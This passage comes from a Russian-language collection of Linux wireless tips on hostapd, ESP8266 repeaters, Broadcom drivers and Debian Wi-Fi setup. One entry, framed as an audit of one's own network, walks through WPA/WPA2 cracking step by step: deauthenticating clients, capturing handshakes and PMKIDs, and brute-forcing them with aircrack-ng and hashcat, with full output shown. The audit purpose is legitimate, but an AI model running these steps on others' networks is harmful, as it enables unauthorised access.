       auth_algs=1 # 1=wpa, 2=wep, 3=wpa+wep
       wpa=2 # только WPA2
    
       # Настройки для входа с авторизацией, без них разрешается вход без пароля
       wpa_key_mgmt=WPA-PSK  
       rsn_pairwise=CCMP
       wpa_passphrase=пароль_для_полключения
    
    Запускаем hostapd:
    
       hostapd tmp-hotspot.conf
    
     
    ----* Создания WiFi-ретрансляторов с поддержкой построения Mesh-сети (доп. ссылка 1)   [комментарии]
     
    Для микроконтроллеров ESP 8285 и 8266 со встроенным беспроводным адаптером,
    которые продаются в китайских интернет-магазинах по цене около 100 руб,
    подготовлена прошивка с реализацией ретранслятора, позволяющего увеличить
    зону покрытия существующей беспроводной сети. Ретранслятор реализован в виде
    точки доступа, прозрачно передающей весь трафик на вышестоящую точку доступа,
    используя трансляцию адресов (NAT) для организации проброса (не требуется
    изменение настроек и маршрутизации). Несколько ретрансляторов могут связываться
    между собой, по цепочке пробрасывая канал связи и образуя Mesh-сеть.
    
    
    
    Для настройки параметров подключения предоставляется консольный и web-интерфейс
    (задаётся пароль подключения к внешней беспроводной сети, пароль для
    подключения к ретранслятору и выбор режима работы). Поддерживаются функции
    межсетевого экрана, позволяющего ограничить доступ к IP-адресам, подсетям и
    сетевым портам через простой  ACL, а также ограничить пропускную способность
    подключения клиента. Для IoT-устройств предусмотрена поддержка протокола MQTT.
    Имеется поддержка режима мониторинга, позволяющего анализировать проходящий
    через ретранслятор трафик в приложениях, поддерживающих формат pcap (например, wireshark).
    
    Для прошивки достаточно подключить плату через последовательный порт или
    переходник USB2Serial, загрузить готовые сборки прошивки (0x00000.bin и
    0x10000.bin) и записать их при помощи специально подготовленной утилиты:
    
       esptool.py --port /dev/ttyUSB0 write_flash -fs 4MB -ff 80m -fm dio 0x00000 firmware/0x00000.bin 0x10000 firmware/0x10000.bin
    
    
    Через консоль можно сразу настроить параметры работы ретранслятора:
    
    
       set ssid идентификатор-основной-сети
       set password пароль-подключения-к-основной-сети
       set ap_ssid идентификатор-сети-ретранслятора
       set ap_password пароль-подключения-к-сети-ретранслятора
       set ap_open 0
       set ap_on 1
       save
    
     
    ----* Как увеличить охват квартиры точкой доступа при помощи алюминиевой фольги (доп. ссылка 1)   [комментарии]
     
    В случае если беспроводная точка доступа размещена у одной из боковых стен в
    квартире и в дальних комнатах наблюдается плохой уровень сигнала, решить
    проблему можно разместив за антеннами точки доступа импровизированный
    отражатель из обычной пищевой алюминиевой фольги. Отражатель следует
    ориентировать по направлению комнат с плохим уровнем сигнала. Эффект
    превосходит все ожидания и в местах, где раньше сеть была недоступна становится
    можно полноценно работать.
    
    
    
    Зона покрытия без отражающего экрана:
    
    
    
    Зона покрытия с отражающим экраном:
    
    
     
    ----* Проверка безопасности беспроводной сети WPA/WPA2 при помощи Aircrack-ng и Hashcat (доп. ссылка 1)   [комментарии]
     
    Беспроводные сети на базе WPA/WPA2 не подвержены прямым методам атаки, но
    злоумышленник может получить доступ к системам, на которых установлен
    недостаточно надёжный пароль. Нижеприведённая инструкция позволяет проверить
    свои системы на предмет стойкости к атаке по типовому словарю паролей.
    Предлагается два метода восстановления пароля по перехваченному в трафике хэшу
    - при помощи  Aircrack-ng и  Hashcat.
    
    Устанавливаем Aircrack-ng:
    
       sudo apt-get install aircrack-ng
    
    Определяем, поддерживает ли беспроводная карта режим мониторинга
    (http://aircrack-ng.org/doku.php?id=compatible_cards - выбор поддерживаемых
    плат), на выходе будет список сетевых интерфейсов для которых имеется подобная поддержка:
    
       airmon-ng
    
    Переводим беспроводную плату в режим мониторинга:
    
       airmon-ng start wlan0
    
    Отслеживаем все проходящие в эфире кадры на предмет идентификаторов
    беспроводной сети (BSSID)  и используемых номеров каналов.
    
       airodump-ng mon0
    
       BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
       9C:5E:8A:C9:AB:C0  -81       19        0    0   6  54e  WPA2 CCMP   PSK  mywifi
       ...
    
    Определив, что наша сеть имеет BSSID 9C:5E:8A:C9:AB:C0 и 6 канал, отслеживаем и
    сохраняем в файл capture/-01.cap трафик пакетов, связанных с согласованием
    нового соединения (ждём пока появится надпись "WPA handshake" и прерываем
    перехват по ctrl-c):
    
       airodump-ng -c 6 --bssid 9C:5E:8A:C9:AB:C0 -w capture/ mon0
    
    Для того, чтобы не ждать долго инициируем обрыв соединения у подключенных
    клиентов (64:BC:0C:49:87:F7 - идентификатор клиента):
    
       airodump-ng -c 6 --bssid 9C:5E:8A:C9:AB:C0 mon0
    
       BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                 
       9C:5E:8A:C9:AB:C0  64:BC:0C:49:87:F7  -37    1e- 1e     4     6479  ASUS
    
       aireplay-ng -0 10 -a 9C:5E:8A:C9:AB:C0 -c 64:BC:0C:49:87:F7 mon0
    
    
    Загружаем  словарь с примерами паролей (размер 134MB, около 14 млн типовых паролей):
    
       curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    
    Запускаем  aircrack-ng в режиме подбора хэша пароля по словарю (подбор
    выполняется только на CPU, без привлечения GPU):
    
       aircrack-ng -a2 -b 9C:5E:8A:C9:AB:C0 -w rockyou.txt capture/-01.cap
    
    Или используем для этого naive-hashcat (более эффективен при наличии доступа
    к GPU), предварительно преобразовав cap-дамп в формат hccapx при помощи утилиты
    cap2hccapx:
    
       cap2hccapx.bin capture/-01.cap capture/-01.hccapx
       HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
    
    
    
    Дополнение: 
    
    Опубликован новый  метод атаки, 
    который не требует ожидания подключения к сети нового пользователя и сохранения всей активности, 
    связанной с установкой им соединения. Для получения данных, достаточных для начала 
    подбора пароля, новый метод требует перехвата лишь одного кадра, который можно получить 
    в любое время, отправив запрос аутентификации к точке доступа. 
    
    Для проведения атаки требуются свежие версии:
    * hcxdumptool
    * hcxtools
    * hashcat
    
    
    Запускаем hcxdumptool, отправляем запрос к точке доступа для получения PMKID 
    и сохраняем результат в файл в формате pcapng:
    
       ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
    
        start capturing (stop with ctrl+c)
        INTERFACE:...............: wlp39s0f3u4u5
        FILTERLIST...............: 0 entries
        MAC CLIENT...............: 89acf0e761f4 (client)
        MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
        EAPOL TIMEOUT............: 20000
        DEAUTHENTICATIONINTERVALL: 10 beacons
        GIVE UP DEAUTHENTICATIONS: 20 tries
        REPLAYCOUNTER............: 62083
        .... 
        [13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e  [ASSOCIATIONREQUEST, SEQUENCE 4]
        [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
        [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
    
    В случае если точка доступа поддерживает отправку PMKID будет выведено сообщение "FOUND PMKID". 
    Из-за помех перехват может не получиться с первого раза, поэтому рекомендуется 
    запускать hcxdumptool в течение приблизительно 10 минут.
    
    Запускаем утилиту hcxpcaptool для преобразования перехваченного дампа из
    формата pcapng в формат для разбора в hashcat.
    
    
       ./hcxpcaptool -z test.16800 test.pcapng
    
        start reading from test.pcapng
    
        summary:
        --------
        file name....................: test.pcapng
        file type....................: pcapng 1.0
        file hardware information....: x86_64
        file os information..........: Linux 4.17.11-arch1
        file application information.: hcxdumptool 4.2.0
        network type.................: DLT_IEEE802_11_RADIO (127)
        endianess....................: little endian
        read errors..................: flawless
        packets inside...............: 66
        skipped packets..............: 0
        packets with FCS.............: 0
        beacons (with ESSID inside)..: 17
        probe requests...............: 1
        probe responses..............: 11
        association requests.........: 5
        association responses........: 5
        authentications (OPEN SYSTEM): 13
        authentications (BROADCOM)...: 1
        EAPOL packets................: 14
        EAPOL PMKIDs.................: 1
    
        1 PMKID(s) written to test.16800
    
    Содержимое записанного файла включает строки вида
    "2582a81d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465af3a", которые содержат 
    шестнадцатеричные значения PMKID, MAC AP,MAC Station и ESSID.
    
    Дополнительно при запуске hcxpcaptool можно использовать опции "-E", "-I" и '-U" 
    для анализа наличия паролей, идентификаторов и имён пользователей в беспроводном трафике:
    
    
       ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
    
    Запускаем hashcat для подбора пароля (применяется режим 16800):
    
    
       ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'
    
        hashcat (v4.2.0) starting...
    
        OpenCL Platform #1: NVIDIA Corporation
        ======================================
        * Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
        * Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
        * Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
        * Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
    
        Hashes: 1 digests; 1 unique digests, 1 unique salts
        Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    
        Applicable optimizers:
        * Zero-Byte
        * Single-Hash
        * Single-Salt
        * Brute-Force
        * Slow-Hash-SIMD-LOOP
    
        Minimum password length supported by kernel: 8
        Maximum password length supported by kernel: 63
    
        Watchdog: Temperature abort trigger set to 90c
    
        2582573161c61*4604d4e*89acf0e761f4*ed4824639f3a:hashcat!
    
        Session..........: hashcat
        Status...........: Cracked
        Hash.Type........: WPA-PMKID-PBKDF2
        Hash.Target......: 2582a8281d0e61c61*4604ba734d4e*89acf...a39f3a
        Time.Started.....: Sun Aug 12 12:51:38 2018 (41 secs)
        Time.Estimated...: Sun Aug 12 12:52:19 2018 (0 secs)
        Guess.Mask.......: ?l?l?l?l?l?lt! [8]
        Guess.Queue......: 1/1 (100.00%)
        Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
        Speed.Dev.#*.....:  1641.3 kH/s
        Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
        Progress.........: 66846720/308915776 (21.64%)
        Rejected.........: 0/66846720 (0.00%)
        Restore.Point....: 0/11881376 (0.00%)
        Candidates.#1....: hariert! -> hhzkzet!
        Candidates.#2....: hdtivst! -> hzxkbnt!
        Candidates.#3....: gnxpwet! -> gwqivst!
        Candidates.#4....: gxhcddt! -> grjmrut!
        HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
        HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
        HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
        HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1
    
     
    ----* Решение проблем с работой поставляемых в ноутбуках Samsung WiFi-адаптеров Broadcom BCM4313 в Ubuntu   [комментарии]
     
    Многие модели ноутбуков Samsung укомплектованы WiFi-адаптерами на базе чипа
    Broadcom BCM4313. При этом в процессе работы, при использовании штатных
    открытых драйверов, идущих в базовой поставке Ubuntu, от версии к версии
    наблюдаются разнообразные проблемы. Например, подсоединиться к Wifi-сетям
    удаётся с десятой попытки или сеть периодически зависает - линк поднят, но
    данные через сетевой интерфейс не передаются до пересоединения с беспроводной сетью.
    
    Решение проблемы простое, поставить проприетаный вариант прошивки:
    
       sudo apt-get remove --purge bcmwl-kernel-source
       sudo apt-get install linux-firmware-nonfree
       sudo apt-get install firmware-b43-installer
    
    после чего нужно перезагрузить систему для загрузки новой прошивки.
    
     
    ----* Отключение STP в точках доступа ASUS WL520gc (доп. ссылка 1)   Автор: vvm7ua  [комментарии]
     
    Не так давно столкнулся с ситуацией, когда есть в сети несколько точек доступа
    ASUS WL520gc, который "гоняют" по сети лишний трафик в виде STP.
    
    Решение было найдено следующее: необходимо зайти на страницу роутера по адресу http://ip/Main_AdmStatus_Content.asp
    ввести в после System Command: значение nvram set lan_stp=0
    нажать кнопку Refresh
    затем ввести nvram commit и снова нажать кнопку Refresh
    после этого необходимо будет ввести reboot и опять нажать Refresh
    
    Роутер уйдет на перезагрузку и STP таким образом более не будет тревожить
    другие сетевые устройства в сети.
    
     
    ----* Настройка беспроводного соединения в Debian GNU/Linux   Автор: screenn  [комментарии]
     
    Действия по настройке Wi-Fi проводились в стабильном дистрибутиве Debian GNU/Linux 6.0.4
    
    Ранее длительное время я работал с модулем NDISwrapper, который удавалось
    запускать с поддержкой WEP шифрования. После того как WEP шифрование было
    принято считать небезопасным, под рукой оказалось решение под названием
    wpasupplicant позволяющее работать с WPA и WPA2 методами шифрования в
    беспроводных сетях, которое было взято на вооружение в совокупности с
    драйверами b43 - в них на этот момент уже поддерживались Broadcom устройства.
    Все прекрасно работало пока не было принято решение вернуться к стабильному
    дистрибутиву после многолетних экспериментов работы в среде sid, что повлекло
    за собой переустановку и необходимость перенастройки системы и написания данной инструкции.
    
    Для начала необходимо убедиться в присутствии беспроводного адаптера - команда lspci
    
       lspci
    
    В моем случае обнаружились ethernet и wifi сетевые карты:
    
       02:00.0 Ethernet controller: Broadcom Corporation NetLink BCM5787M Gigabit Ethernet PCI Express (rev 02)
       04:00.0 Network controller: Broadcom Corporation BCM4312 802.11b/g LP-PHY (rev 01)
    
    Немного погуглив удалось найти информацию на английском языке
    http://wiki.debian.org/bcm43xx - там есть список с описанием модулей, в каких
    ядрах и версиях системы они работают а где нет. А также инструкция по установке.
    
    Оказалось на сегодняшний день есть несколько разновидностей драйверов для
    Linux: b43, b43legacy, brcm80211, rndis_wlan, wl, наряду с которыми все так же
    остается возможность запускать WINDOWS-драйвер сетевых карт при помощи
    NDISwrapper модуля.
    
    Далее просто приведу шаги выполненные по вышеприведенной инструкции:
    
    1. Необходимо добавить contrib non-free части в строку с источником установки,
    отредактировав файл /etc/apt/sources.list
    
       #строка с источником установки пакетов системы
       deb http://ftp.us.debian.org/debian squeeze main contrib non-free
    
    2. После добавления новых источников установки необходимо обновить список
    доступных пакетов и установить утилиту wireless-tools
    
        aptitude update && aptitude install wireless-tools
    
    3. Далее следует установка самих драйверов, в зависимости от типа вашей сетевой
    карты необходимо выбрать правильный драйвер, в моем случае это устройство
    BCM4312 802.11b/g LP-PHY - как показала команда lspci, поэтому я выполняю
    команду устанавливающую firmware-b43-lpphy-installer. Для владельцев других
    сетевых карт соответственно:
    
    802.11b/g BCM4306 revision 3, BCM4311, BCM4318 - устанавливаем firmware-b43-installer;
    802.11b BCM4301, 802.11b/g BCM4306 revision 2 chipset - устанавливаем firmware-b43legacy-installer;
    
    
       aptitude install firmware-b43-lpphy-installer
       aptitude install firmware-b43-lpphy-installer
    
    
    4. Проверим что модуль загрузился:
    
       # lsmod | grep b43
    
       b43                   132415  0
       rng_core                2178  1 b43
       mac80211              122874  1 b43
       cfg80211               86965  2 b43,mac80211
       ssb                    33578  1 b43
       led_class               1757  3 b43,acer_wmi,sdhci
       mmc_core               38277  3 b43,sdhci,ssb
       pcmcia                 16194  2 b43,ssb
       pcmcia_core            20414  5  b43,yenta_socket,rsrc_nonstatic,ssb,pcmcia
    
    Модуль b43 - загружен успешно, если у вас он окажется не загружен, можно
    попробовать загрузить его командой modprobe b43, в случае если он загружен но
    не отрабатывает корректно - можно попробовать сначала его выгрузить командой
    modprobe -r b43 после чего загрузить заново.
    
    5. Драйверы установлены и загружены теперь можно проверить наличие wifi карты в
    списке сетевых устройств утилитой iwconfig:
    
    
       # iwconfig
       lo        no wireless extensions.
       eth0      no wireless extensions.
       irda0     no wireless extensions.
       wlan0     IEEE 802.11bg  ESSID:off/any
            Mode:Managed  Frequency:2.457 GHz  Access Point: Not Associated
             Tx-Power=27 dBm
             Retry  long limit:7   RTS thr:off   Fragment thr:off
             Encryption key:off
             Power Management:off
    
       pan0      no wireless extensions. 
    
    Видно что в списке сетевых адаптеров присутствует wlan0 - устройство
    распознанное как IEEE 802.11bg, это и есть ни что иное как наш wifi адаптер.
    
    6. Далее необходимо сконфигурировать сетевые настройки в системе для нашего
    wifi адаптера. Для этого редактируем файл настройки сетевых подключений
    /etc/network/interfaces добавляя опции новой wifi сетевой карты:
    
       #my Wi-fi connection
       auto wlan0
       iface wlan0 inet dhcp
    
    7. Стартуем новый сетевой интерфейс - ifup wlan0
    
       # ifup wlan0
    
       Internet Systems Consortium DHCP Client 4.1.1-P1
       Listening on LPF/wlan0/00:00:00:00:00:00
       Sending on   LPF/wlan0/00:00:00:00:00:00
       Sending on   Socket/fallback
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 10
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 7
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 12
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 8
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 15
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 2
       No DHCPOFFERS received.
       No working leases in persistent database - sleeping.
    
    После выполнения данной команды система попытается получить адрес по dhcp, в
    результате чего мы увидим что адрес ей получить не удалось так как не указана
    точка доступа, но при этом wlan0 интерфейс появится в списке поднятых
    интерфейсов отображаемых при просмотре ifconfig Затем уже можно будет выполнять
    сканирование пространства на наличие точек доступа. Попытки просканировать
    пространство с неподнятым интерфейсом выдадут сообщение:"wlan0     Interface
    doesn't support scanning : Network is down"
    
    8. Проверить поднялся ли wlan0 интерфейс можно командой ifconfig
    
       #ifconfig
    
       wlan0     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
             UP BROADCAST MULTICAST  MTU:1500  Metric:1
             RX packets:408 errors:0 dropped:0 overruns:0 frame:0
             TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:26662 (26.0 KiB)  TX bytes:6305 (6.1 KiB)
    
    9. Если интерфейс поднялся мы можем просканировать пространство на наличие WIFI
    точек доступа командой - iwlist scanning
    
       # iwlist scanning
    
       lo        Interface doesn't support scanning.
       eth0      Interface doesn't support scanning.
       irda0     Interface doesn't support scanning.
       pan0      Interface doesn't support scanning.
       wlan0     Scan completed :
             Cell 01 - Address: 00:00:00:00:00:00
                       Channel:13
                       Frequency:2.457 GHz (Channel 13)
                       Quality=70/70  Signal level=-3 dBm
                       Encryption key:on
                       ESSID:"myhome"
                       Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
                                 11 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
                                 48 Mb/s; 54 Mb/s
                       Mode:Master
                       Extra:tsf=0000003f190b259c
                       Extra: Last beacon: 104ms ago
                       IE: Unknown: 00036E6574
                       IE: Unknown: 010C82848B8C12969824B048606C
                       IE: Unknown: 03010A
                       IE: Unknown: 0706555320010B1E
                       IE: Unknown: 2A0100
                       IE: Unknown: 2F0100
                       IE: IEEE 802.11i/WPA2 Version 1
                           Group Cipher : TKIP
                           Pairwise Ciphers (1) : TKIP
                           Authentication Suites (1) : PSK
                       IE: Unknown: DD090010180200F0000000
    
    Результаты сканирования показали наличие точки доступа под названием -
    ESSID:"myhome", работающей на канале - Channel:13, в режиме - Mode:Master, с
    включенным шифрованием - Encryption key:on, тип шифрования - IE: IEEE
    802.11i/WPA2 Version 1.
    
    10. Устанавливаем поддержку WPA/WPA2 шифрования поскольку наша точка доступа использует WPA2
    
       apt-get install wpasupplicant
    
    11. Конфигурируем wpasupplicant,  Редактируем файл /etc/network/wpa-psk-tkip.conf
    
       # WPA-PSK/TKIP
    
       ctrl_interface=/var/run/wpa_supplicant
    
       network={
           ssid="myhome"
           proto=WPA2 RSN
           key_mgmt=WPA-PSK
           pairwise=CCMP TKIP
           group=CCMP TKIP
           psk="пароль к точке доступа"
       }
    
    В моем случае конфиг выглядит именно таким образом, возможно у вас он будет
    отличаться если например будет отличаться метод шифрования, более подробно с
    опциями конфиг файла для wpasuplicant можно ознакомиться при помощи команды -
    man wpa_supplicant, гугла и админской интуиции.
    
    12. Донастраиваем сетевое соединение, дописываем в конфиге /etc/network/interfaces новые строки:
    
       # The primary network interface
       #allow-hotplug eth0
       #auto eth0
       #iface eth0 inet dhcp
     
       #my Wi-fi connection
       auto wlan0
       iface wlan0 inet dhcp
       wireless-channel 10
       wireless-mode Master
       #WPA-TKIP
       wpa-conf /etc/network/wpa-psk-tkip.conf
    
    Как видно, я специально закомментировал знаком # eth0 интерфейс через который
    был подключен интернет, так как после рестарта сетевых соединений хочу чтобы
    интернет соединялся только через wlan0 интерфейс. Затем можно отключить eth0
    интерфес командой "ifconfig eth0 down".
    
    
    13. Перезагружаем сетевые соединения командой /etc/init.d/networking restart
    
    
       # /etc/init.d/networking restart
    
       Running /etc/init.d/networking restart is deprecated because it may not enable again some interfaces ... (warning).
       Reconfiguring network interfaces...Ignoring unknown interface eth0=eth0.
       Internet Systems Consortium DHCP Client 4.1.1-P1
    
       Listening on LPF/wlan0/00:00:00:00:00:00
       Sending on   LPF/wlan0/00:00:00:00:00:00
       Sending on   Socket/fallback
       DHCPRELEASE on wlan0 to 192.168.13.1 port 67
       Error for wireless request "Set Mode" (8B06) :
          SET failed on device wlan0 ; Invalid argument.
    
       Internet Systems Consortium DHCP Client 4.1.1-P1
       Listening on LPF/wlan0/00:00:00:00:00:00
       Sending on   LPF/wlan0/00:00:00:00:00:00
       Sending on   Socket/fallback
       DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 4
       DHCPOFFER from 192.168.13.1
       DHCPREQUEST on wlan0 to 255.255.255.255 port 67
       DHCPACK from 192.168.13.1
       bound to 192.168.13.13 -- renewal in 37509 seconds.
       done.
    
    
    14. Проверим что все работает
    
    Посмотрим список поднятых интерфейсов:
    
       #ifconfig
       
       lo        Link encap:Local Loopback
             inet addr:127.0.0.1  Mask:255.0.0.0
             inet6 addr: ::1/128 Scope:Host
             UP LOOPBACK RUNNING  MTU:16436  Metric:1
             RX packets:76 errors:0 dropped:0 overruns:0 frame:0
             TX packets:76 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:0
             RX bytes:5802 (5.6 KiB)  TX bytes:5802 (5.6 KiB)
    
       wlan0     Link encap:Ethernet  HWaddr 00:00:00:00:00:00
             inet addr:192.168.13.13  Bcast:192.168.13.255  Mask:255.255.255.0
             inet6 addr: fe80::21f:e1ff:fe25:4fd4/64 Scope:Link
             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
             RX packets:5 errors:0 dropped:0 overruns:0 frame:0
             TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
             collisions:0 txqueuelen:1000
             RX bytes:1036 (1.0 KiB)  TX bytes:1640 (1.6 KiB)
    
    Видим поднятые внутренний системный интерфейс Loopback, и наш wifi wlan0
    интерфейс, теперь проверим работает ли интернет
    
       # ping 8.8.8.8
       PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
       64 bytes from 8.8.8.8: icmp_req=1 ttl=54 time=69.8 ms
       64 bytes from 8.8.8.8: icmp_req=2 ttl=54 time=69.6 ms
       64 bytes from 8.8.8.8: icmp_req=3 ttl=54 time=69.5 ms
       64 bytes from 8.8.8.8: icmp_req=4 ttl=54 time=69.5 ms
       64 bytes from 8.8.8.8: icmp_req=5 ttl=54 time=69.6 ms
    
    Google пингуется отлично!
    
    Посмотрим таблицу маршрутизации системы:
    
       # ip r
       192.168.13.0/24 dev wlan0 proto kernel scope link src 192.168.13.13
       default via 192.168.13.1 dev wlan0
    
    Понимаем что все работает.
    
    На этом я завершаю заметку о том как настраивать Wi-Fi в Linux. Надеюсь что
    данная информация будет Вам полезна, а поднять шифрованное wifi соединение при
    помощи родных драйверов Linux теперь не для кого не составит большого труда.
    
    Присылайте Ваши вопросы, дополнения, исправления к данному руководству на мой
    e-mail: alex.golovin@mail.ru, дополняйте комментариями к статье-совету ниже на сайте.
    Автор: Александр Головин.
    
    Полезные ссылки по теме:
       http://wiki.debian.org/Broadcom
       http://wiki.debian.org/bcm43xx
       http://wireless.kernel.org/en/users/Drivers/b43#Known_issues
    
     
    ----* Виртуальная точка доступа с раздачей от ADSL на базе маршрутизатора D-Link 2500u (доп. ссылка 1)   Автор: sukanax  [комментарии]
     
    В этом примере в качестве маршрутизатора используется D-Link 2500u
    (перепрошитый 2300u). Необходимо чтобы dlink 2500u работал в режиме
    маршрутизатора. В качестве wifi-устройства использовался USB-адаптер tp-link wn721n.
    
    
    1. Устанавливаем hostapd, dhcpd клиент, bridge-utils из консоли.
    
    После выполняем "sudo su"
    
    2. Создаем файл /etc/hostapd/hostapd.conf
    
       interface=wlan0
       bridge=br0
       logger_stdout=-1
       logger_stdout_level=2
       ssid="Имя нашей точки доступа"
       hw_mode=g
       channel=6
       auth_algs=3
       max_num_sta=5
       wpa=2
       wpa_passphrase="пароль"
       wpa_key_mgmt=WPA-PSK
       wpa_pairwise=TKIP CCMP
       rsn_pairwise=CCMP
    
    
    3. включаем ip форвардинг
    
       echo 1 > /proc/sys/net/ipv4/ip_forward
    
    
    4. Создаем скрипт в любом месте нашего Linux.
    
    
       #!/bin/bash
    
       auto eth1
       iface eth1 inet dhcp
    
       killall dhcpcd
       ifconfig eth0 down
       ifconfig wlan0 down
    
       brctl addbr br0 #Создает мост
       brctl addif br0 eth0 #Добавляет интерфейс eth0 к br0 мосту
       brctl setfd br0 0 #This sets the forwarding delay to 0 seconds
    
       hostapd -dd /etc/hostapd/hostapd.conf &
    
       iwconfig wlan0
    
       brctl addif br0 wlan0
    
       ifconfig eth0 up
       ifconfig br0 up
    
       dhcpcd br0 &
       exit
    
    
    5. Запускаем этот скрипт и подключаем мобильное устройство по wifi к интернету.
    Возможно придется выключить network-manager перед запуском.
    
    Скрипт создает сетевой мост eth0 и wlan0. eth1 у меня остался для работы
    интернета на главном компьютере.
    
     
    ----* Настройка подключения к Comstar через USB WiMAX модем 2501 в Linux   Автор: desenix  [комментарии]
     
    Предисловие
    
    Когда-то давно купил себе данный модем (на чипсете Beceem BCS200) с тарифом без
    абонентской платы, в качестве резервного канала, с тех пор пользовался от
    случая к случаю, тем более тариф тому способствовал. А тут недавно мой
    проводной провайдер отвалился на целый день и решил проверить, а не появилось
    ли решения под Linux? Одно дело компьютер с WiMax, а другое дело домашний
    роутер обеспечивающий несколько компьютеров интернетом. Что интересно в сети
    уже с 2010 года лежат готовые решения но для других провайдеров, а для
    Комстар-а нет, либо не нашёл. Да и сам провайдер не заботиться о Linux
    пользователях. Попадались решения и для других модемов, но как-то не возникло
    желания покупать ещё один, когда этот достался по акции.
    
    Введение
    
    На одно из решений наткнулся здесь. Там кто-то в комментариях очень похожий
    конфиг для другого провайдера выложил. Информацию по настройке параметров для
    Комстар частично взял отсюда. Если кто-то знает где лежат параметры сети для
    Yota, сообщите, размещу ссылку. Там же можно по ссылке скачать необходимый
    сертификат (ca1.cer), либо вытащить его из Comstar Connection Manager (далее
    CCM), но об этом ниже.
    
    
    Подготовка
    
    Нам понадобится:
    
    1. Компьютер с Linux, у меня был c Fedora 15 (x86), пробовал модули собирать и на x86_64.
    
    2. Как советует автор одного из решений, нужно установить пакеты
    linux-source linux-headers openssl unzip dos2unix patch gcc. Возможно у вас они
    будут называться немного иначе (у меня первые два такие kernel-debug
    kernel-headers), и это возможно не полный список.\
    
    3. Самое главное Sprint 4G Depelopment Pack, по данной ссылке всегда
    последняя версия, где взять предыдущие не знаю. Кстати, этот пакет, позволяет
    экспериментировать и под Windows, а затем можно немного отредактировав,
    перенести настройки в Linux, что я и сделал, так как не было уверенности в
    правильной работе драйверов под Linux. Модуль ядра, судя по коду, должен
    поддерживать VID=0x198F PID=0x0300, 0x0210, 0x0220, 0x15E, 0x015F, 0x0160. Под
    Lunix для своего модема VID и PID можно посмотреть командой lsusb,
    предварительно вставив его в USB.
    
    Скачиваем Sprint 4G Depelopment Pack, распаковываем его в любой каталог.
    В корне каталога Sprint4GDeveloperPack-1.6.1.2.2 (у вас может оказаться уже
    другая версия), находим там файл install.sh и немного его поправим.
    
    Если не хотите потом вводить путь к исходникам ядра, это можно сделать до
    запуска инсталлятора, отредактировав соответствующую строчку в файле install.sh
    
       KERNEL_SOURCES=${5:-/usr/src/linux};
    
    На случай если в директории /usr/src/kernels/ будет несколько версий исходников
    ядра, уточнить текущую версия ядра можно командой uname -r или например так, в
    данном случае, версия ядра, будет подставляться автоматически:
    
       KERNEL_SOURCES=${5:-/usr/src/kernels/`uname -r`};
    
    Ещё изменил параметр POWER_SAVE на Off, это на ваш вкус, работало в обоих случаях.
    
       POWER_SAVE_On_Off=${12:-On}
    
    Установка
    
    Запускаем install.sh
    На вопрос о лицензии нажимаем "y", далее если вы отредактировали install.sh
    жмём Enter до вопроса о корректности настроек, там надо нажать "y", после чего
    начнётся копирование файлов и сборка пакета. Ждём результата либо ошибок. У
    меня если и возникали ошибки, только из-за нехватки того или иного пакета.
    После ошибки опять запускаем, после стандартной процедуры вопросов появиться
    ещё один, тут выбираем "A" затем Enter.
    
    После сборки, нужно проверить загрузку и работу модуля, вставьте модем в USB
    разъём, затем выполните:
    
       modprobe drxvi314
    
    Теперь посмотрим появился ли у нас ещё один интерфейс
    
       ifconfig -a
    
